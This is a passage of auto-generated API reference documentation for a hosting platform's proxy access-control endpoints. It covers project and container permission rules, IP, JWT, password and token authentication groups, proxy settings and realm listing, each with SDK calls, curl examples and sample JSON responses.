| `PROJECT_NOT_FOUND` | Project not found | The specified project ID does not exist or you do not have access to it | Verify the project ID is correct and that you have permission to access this project |



---

### `PATCH /api/v1/projects/{id}/proxy/permissions/state`

Enable or disable the proxy entirely for a project. When disabled, the proxy layer is bypassed and all access control is removed regardless of configured rules.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `enable_proxy` | boolean | Yes | Enable or disable the proxy entirely |

#### SDK

```ts
await client.api.proxyPermissionsProject.updateState({
  id: "507f1f77bcf86cd799439011",
  ifMatch: "file:v3",
  data: { enable_proxy: true }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Proxy state updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny",
    "enable_proxy": false
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid enable_proxy value"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid enable_proxy value | The `enable_proxy` field must be a boolean (true or false) | Provide a valid boolean value: `true` to enable proxy, `false` to disable |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The specified project ID does not exist or you do not have access to it | Verify the project ID is correct and that you have permission to access this project |



---

### `DELETE /api/v1/projects/{id}/proxy/permissions`

Remove all proxy access control configuration from a project, reverting it to open access with a default `"allow"` policy. This clears all authentication groups and permission rules.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsProject.delete({
  id: "507f1f77bcf86cd799439011",
  ifMatch: "file:v3"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Project proxy permissions deleted successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "allow"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The specified project ID does not exist or you do not have access to it | Verify the project ID is correct and that you have permission to access this project |



---

## Project authentication groups

### `PATCH /api/v1/projects/{id}/proxy/permissions/groups/{groupName}/ip`

Set or replace an IP-based authentication group for a project.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `range` | string | Yes | IPv4 CIDR range. Format: `IP/mask` (mask 0-32). Example: `"192.168.1.0/24"`. |

#### SDK

```ts
await client.api.proxyPermissionsProject.setIpGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "office",
  ifMatch: "file:v3",
  data: { range: "192.168.1.0/24" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "IP authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid IP CIDR range"
}
```



---

### `PATCH /api/v1/projects/{id}/proxy/permissions/groups/{groupName}/jwt`

Set or replace a JWT-based authentication group for a project.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `secret` | string | Yes | JWT secret key. For `HS256`: any string. For `RS256`/`ES256`: PEM-encoded public key. |
| `algorithm` | string | Yes | One of `"HS256"`, `"RS256"`, `"ES256"`. |
| `sources` | array | Yes | Token source locations. Each item matches `^(header\|cookie):Name$`. Example: `["header:Authorization"]`. |
| `claims` | object | No | Required JWT claims that must be present and match exactly. Values must be string, number, or boolean. |

#### SDK

```ts
await client.api.proxyPermissionsProject.setJwtGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "admin",
  ifMatch: "file:v3",
  data: {
    secret: "super-secret-key",
    algorithm: "HS256",
    sources: ["header:Authorization"],
    claims: { role: "admin" }
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "JWT authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid JWT configuration"
}
```



---

### `PATCH /api/v1/projects/{id}/proxy/permissions/groups/{groupName}/password`

Set or replace a password-based authentication group for a project.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `username` | string | Yes | Username for authentication. Must match exactly what the client provides. |
| `password` | string | Yes | Plaintext (will be hashed) or pre-hashed `SHA256(salt+password)` in lowercase hex. |
| `salt` | string | Yes | Salt for password hashing. Should be unique per user/group. |
| `algorithm` | string | No | Hashing algorithm. Currently only `"sha256"`. |

#### SDK

```ts
await client.api.proxyPermissionsProject.setPasswordGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "users",
  ifMatch: "file:v3",
  data: {
    username: "admin",
    password: "s3cret",
    salt: "randomsalt123",
    algorithm: "sha256"
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Password authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid password configuration"
}
```



---

### `PATCH /api/v1/projects/{id}/proxy/permissions/groups/{groupName}/token`

Set or replace a static-token authentication group for a project. The request body must specify exactly one token location: `header`+`value`, `cookie`+`value`, or `param`+`value`.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

The body uses a `oneOf` schema. Supply exactly one of these shapes:

| Shape | Fields |
|-------|--------|
| Header | `header` (string, required), `value` (string, required) |
| Cookie | `cookie` (string, required), `value` (string, required) |
| Query param | `param` (string, required), `value` (string, required) |

#### SDK

```ts
await client.api.proxyPermissionsProject.setTokenGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "api-clients",
  ifMatch: "file:v3",
  data: { header: "X-API-Key", value: "tok_live_abc123" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Token authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid token configuration"
}
```



---

### `DELETE /api/v1/projects/{id}/proxy/permissions/groups/{groupName}`

Remove an authentication group from a project. This deletes only the group entry; any program permissions that reference the group name are left in place.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name to remove |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsProject.removeAuthGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "office",
  ifMatch: "file:v3"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Authentication group removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project or group not found"
}
```



---

## Project group permissions

### `PATCH /api/v1/projects/{id}/proxy/permissions/permissions/{groupName}`

Set a single program access rule for a project's authentication group. The `access` value defines which ports/instances are allowed.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `program` | string | Yes | Program name to set the access rule for (e.g. `http`, `terminal`, `ssh`, `files`, `exec`, `services`, `notifications`). |
| `access` | boolean \| number \| array \| string | Yes | Access rule. See the access-rule grammar at the top of this page. |

#### SDK

```ts
await client.api.proxyPermissionsProject.setGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "admin",
  ifMatch: "file:v3",
  data: { program: "http", access: true }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Group program permission set successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid permission value"
}
```



---

### `DELETE /api/v1/projects/{id}/proxy/permissions/permissions/{groupName}`

Remove all program permissions for a project's group in a single call.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsProject.removeGroup({
  id: "507f1f77bcf86cd799439011",
  groupName: "admin",
  ifMatch: "file:v3"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "All group permissions removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```



---

### `DELETE /api/v1/projects/{id}/proxy/permissions/permissions/{groupName}/{program}`

Remove a single program permission from a project's group.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `groupName` | path | string | Yes | Group name |
| `program` | path | string | Yes | Program name (e.g. `http`, `ssh`, `files`) |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsProject.removeProgram({
  id: "507f1f77bcf86cd799439011",
  groupName: "admin",
  program: "http",
  ifMatch: "file:v3"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Program permission removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```



---

## Container proxy permissions

### `GET /api/v1/containers/{id}/proxy/permissions`

Retrieve the complete proxy access control configuration for a single container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

#### SDK

```ts
const { data } = await client.api.proxyPermissionsContainer.get({ id: "507f1f77bcf86cd799439012" });
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Container proxy permissions retrieved successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions`

Replace the container proxy permissions configuration. Requires `If-Match: file:v` (428 when absent, 412 when stale).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `project` | string | Yes | Project ID owning this container |
| `container` | string | Yes | Container ID (must match path `:id`) |
| `groups` | object | Yes | Authentication groups. Key is group name, value is group config. |
| `permissions` | object | Yes | Per-group program permissions. Key is group name, value is map of program → access rule. |
| `default` | string | No | Default access policy. One of `"allow"`, `"deny"`. Defaults to `"deny"`. |
| `enable_proxy` | boolean | No | Enable or disable the proxy. Defaults to `true`. |
| `hooks` | object | No | Per-service proxy hooks. Keys are service names; values are first-match-wins arrays of `{ match, script, timeout? }` rules. Max 8 per service, 32 per file total. Reject-listed services: `logs`, `proxy`, `workspaces`. |

The `groups` value structure and `permissions` value structure are the same as the project-level replace endpoint (see above). The `access` rule grammar is documented at the top of this page.

#### SDK

```ts
await client.api.proxyPermissionsContainer.replace({
  id: "507f1f77bcf86cd799439012",
  ifMatch: "file:v2",
  data: {
    project: "507f1f77bcf86cd799439011",
    container: "507f1f77bcf86cd799439012",
    groups: {
      admin: { type: "jwt" }
    },
    permissions: {
      admin: { terminal: [1, 2], files: true }
    },
    default: "deny"
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Container proxy permissions updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid proxy permissions configuration"
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions/default`

Update the container's default access policy.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `default` | string | Yes | Default access policy for unmatched requests. One of `"allow"`, `"deny"`. |

#### SDK

```ts
await client.api.proxyPermissionsContainer.updateDefault({
  id: "507f1f77bcf86cd799439012",
  ifMatch: "file:v2",
  data: { default: "allow" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Default policy updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "allow"
  }
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions/state`

Enable or disable the proxy for a single container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `enable_proxy` | boolean | Yes | Enable or disable the proxy entirely |

#### SDK

```ts
await client.api.proxyPermissionsContainer.updateState({
  id: "507f1f77bcf86cd799439012",
  ifMatch: "file:v2",
  data: { enable_proxy: true }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Proxy state updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny",
    "enable_proxy": true
  }
}
```



---

### `DELETE /api/v1/containers/{id}/proxy/permissions`

Delete the container's proxy permissions document. The container reverts to a default `"allow"` policy with the proxy enabled.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsContainer.delete({
  id: "507f1f77bcf86cd799439012",
  ifMatch: "file:v2"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Container proxy permissions deleted successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "allow"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```



---

## Container authentication groups

### `PATCH /api/v1/containers/{id}/proxy/permissions/groups/{groupName}/ip`

Set or replace an IP-based authentication group for a container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `range` | string | Yes | IPv4 CIDR range. Format: `IP/mask` (mask 0-32). Example: `"10.0.0.0/8"`. |

#### SDK

```ts
await client.api.proxyPermissionsContainer.setIpGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "office",
  ifMatch: "file:v2",
  data: { range: "10.0.0.0/8" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "IP authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid IP CIDR range"
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions/groups/{groupName}/jwt`

Set or replace a JWT-based authentication group for a container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `secret` | string | Yes | JWT secret key. For `HS256`: any string. For `RS256`/`ES256`: PEM-encoded public key. |
| `algorithm` | string | Yes | One of `"HS256"`, `"RS256"`, `"ES256"`. |
| `sources` | array | Yes | Token source locations. Each item matches `^(header\|cookie):Name$`. |
| `claims` | object | No | Required JWT claims that must be present and match exactly. Values must be string, number, or boolean. |

#### SDK

```ts
await client.api.proxyPermissionsContainer.setJwtGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "admin",
  ifMatch: "file:v2",
  data: {
    secret: "container-secret",
    algorithm: "HS256",
    sources: ["cookie:jwt_token"]
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "JWT authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid JWT configuration"
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions/groups/{groupName}/password`

Set or replace a password-based authentication group for a container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `username` | string | Yes | Username for authentication. |
| `password` | string | Yes | Plaintext (will be hashed) or pre-hashed `SHA256(salt+password)` in lowercase hex. |
| `salt` | string | Yes | Salt for password hashing. |
| `algorithm` | string | No | Hashing algorithm. Currently only `"sha256"`. |

#### SDK

```ts
await client.api.proxyPermissionsContainer.setPasswordGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "users",
  ifMatch: "file:v2",
  data: {
    username: "deployer",
    password: "p@ssw0rd!",
    salt: "container-salt-xyz",
    algorithm: "sha256"
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Password authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid password configuration"
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/permissions/groups/{groupName}/token`

Set or replace a static-token authentication group for a container. The request body must specify exactly one token location.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

The body uses a `oneOf` schema. Supply exactly one of these shapes:

| Shape | Fields |
|-------|--------|
| Header | `header` (string, required), `value` (string, required) |
| Cookie | `cookie` (string, required), `value` (string, required) |
| Query param | `param` (string, required), `value` (string, required) |

#### SDK

```ts
await client.api.proxyPermissionsContainer.setTokenGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "external-api",
  ifMatch: "file:v2",
  data: { header: "X-Container-Token", value: "tok_container_xyz" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Token authentication group configured successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid token configuration"
}
```



---

### `DELETE /api/v1/containers/{id}/proxy/permissions/groups/{groupName}`

Remove an authentication group from a container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name to remove |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsContainer.removeAuthGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "office",
  ifMatch: "file:v2"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Authentication group removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container or group not found"
}
```



---

## Container group permissions

### `PATCH /api/v1/containers/{id}/proxy/permissions/permissions/{groupName}`

Set a single program access rule for a container's authentication group.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `program` | string | Yes | Program name (e.g. `http`, `terminal`, `ssh`, `files`, `exec`, `services`, `notifications`). |
| `access` | boolean \| number \| array \| string | Yes | Access rule. See the access-rule grammar at the top of this page. |

#### SDK

```ts
await client.api.proxyPermissionsContainer.setGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "admin",
  ifMatch: "file:v2",
  data: { program: "http", access: [80, 443] }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Group program permission set successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid permission value"
}
```



---

### `DELETE /api/v1/containers/{id}/proxy/permissions/permissions/{groupName}`

Remove all program permissions for a container's group.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsContainer.removeGroup({
  id: "507f1f77bcf86cd799439012",
  groupName: "admin",
  ifMatch: "file:v2"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "All group permissions removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```



---

### `DELETE /api/v1/containers/{id}/proxy/permissions/permissions/{groupName}/{program}`

Remove a single program permission from a container's group.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `groupName` | path | string | Yes | Group name |
| `program` | path | string | Yes | Program name (e.g. `http`, `ssh`, `files`) |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### SDK

```ts
await client.api.proxyPermissionsContainer.removeProgram({
  id: "507f1f77bcf86cd799439012",
  groupName: "admin",
  program: "http",
  ifMatch: "file:v2"
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Program permission removed successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "container": "507f1f77bcf86cd799439012",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```

---

# Proxy Settings

**Page:** api/proxy-settings

[Download Raw Markdown](./api/proxy-settings.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Proxy Settings

Container-wide proxy root settings control the proxy kill-switch (`enable_proxy`) and the default allow/deny policy applied to requests that have no explicit rule. These endpoints read and update the root record for a given container and use an `ETag` / `If-Match` header pair to support optimistic-concurrency updates.

---

### `GET /api/v1/containers/{id}/proxy/settings`

Returns the container's current proxy root settings along with the current `etag` and `file_version`. Pass the returned `etag` back as the `If-Match` header on subsequent `PATCH` calls to avoid overwriting concurrent changes.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |



```bash
curl -X GET https://api.hoody.com/api/v1/containers/container_abc123/proxy/settings \
  -H "Authorization: Bearer YOUR_API_TOKEN"
```


```javascript
const settings = await client.api.proxyDiscovery.getContainerProxySettings({
  id: "container_abc123"
});
```


```json
{
  "statusCode": 200,
  "message": "Proxy settings retrieved successfully",
  "data": {
    "enable_proxy": true,
    "default": "allow",
    "file_version": 2,
    "etag": "file:v2"
  }
}
```



---

### `PATCH /api/v1/containers/{id}/proxy/settings`

Updates one or both of `enable_proxy` and `default`. The request must include the `If-Match` header with the `etag` value returned by the most recent `GET` (formatted as `file:v`). At least one body field must be provided.


The `If-Match` header is required for safe concurrent updates. Requests that omit it, or supply a stale `etag`, will be rejected.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `if-match` | header | string | No | Optimistic-concurrency precondition; pass the value `file:v` where N is the current file version |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `enable_proxy` | boolean | No | Global kill-switch for the container's proxy |
| `default` | string | No | Default policy when no explicit rule matches. Allowed values: `"allow"`, `"deny"` |



```bash
curl -X PATCH https://api.hoody.com/api/v1/containers/container_abc123/proxy/settings \
  -H "Authorization: Bearer YOUR_API_TOKEN" \
  -H "Content-Type: application/json" \
  -H "If-Match: file:v2" \
  -d '{
    "enable_proxy": true,
    "default": "deny"
  }'
```


```javascript
const updated = await client.api.proxyDiscovery.updateContainerProxySettings({
  id: "container_abc123",
  "if-match": "file:v2",
  data: {
    enable_proxy: true,
    default: "deny"
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Proxy settings updated successfully",
  "data": {
    "enable_proxy": true,
    "default": "deny",
    "file_version": 3,
    "etag": "file:v3"
  }
}
```

---

# Realms (API Isolation)

**Page:** api/realms

[Download Raw Markdown](./api/realms.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Realms (API Isolation)

The Realms API lets you discover the multi-tenant realms (identified by 24-hexadecimal strings) that your resources belong to. Use these endpoints to audit which realms your projects, containers, servers, and auth tokens are associated with.

This page covers the **List Realms** endpoint, which returns a deduplicated list of realm identifiers found across your resources. Requires the `resources.realms` permission.

### List Realms

`GET /api/v1/realms/`

Returns all unique `realm_id` values found in your projects, containers, servers (via pool memberships), and auth tokens. The response is a deduplicated list of 24-hexadecimal realm identifiers that your resources belong to.

Pass `include_usage=true` to also receive a per-realm count of projects, containers, servers, and auth tokens.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `include_usage` | query | boolean | No | Include resource counts per `realm_id` (projects, containers, servers, auth_tokens). Adds a `usage` object to the response data. Default: `false` |

#### Request

This endpoint accepts no request body.


  
```bash
curl -X GET "https://api.hoody.com/api/v1/realms/?include_usage=true" \
  -H "Authorization: Bearer <token>"
```
  
  
```javascript
const { data } = await client.api.realms.list({ include_usage: true });
```
  


#### Response

**200 — Success**


  
```json
{
  "statusCode": 200,
  "message": "Realm IDs retrieved successfully",
  "data": {
    "realm_ids": [
      "507f1f77bcf86cd799439011",
      "507f1f77bcf86cd799439012"
    ],
    "total": 2,
    "usage": {
      "507f1f77bcf86cd799439011": {
        "projects": 2,
        "containers": 15,
        "servers": 1,
        "auth_tokens": 1
      },
      "507f1f77bcf86cd799439012": {
        "projects": 1,
        "containers": 8,
        "servers": 0,
        "auth_tokens": 0
      }
    }
  }
}
```

The `usage` object is only present when `include_usage=true` is passed in the query string.
  


**401 — Unauthorized**


  
```json
{
  "statusCode": 401,
  "error": "UNAUTHORIZED",
  "message": "Authentication required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `UNAUTHORIZED` | Authentication required | No valid authentication credentials provided | Provide valid JWT token or auth token in Authorization header |
  


**403 — Permission Denied**


  
```json
{
  "statusCode": 403,
  "error": "PERMISSION_DENIED",
  "message": "This token does not have permission: resources.realms"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PERMISSION_DENIED` | Permission denied | Auth token does not have `resources.realms` permission | Recreate token with `full_access` template or explicitly add `resources.realms: true` to token permissions |

---

# Server Management API

**Page:** api/server-management

[Download Raw Markdown](./api/server-management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Server Management API provides endpoints for executing predefined commands on rental servers, listing the commands available to a given server, and reading platform-level utility data such as caller IP geolocation and Hoody social channel counters. Use these endpoints to introspect which actions a server permits, run a chosen command (synchronously or asynchronously), and surface live community stats without rate-limit risk.

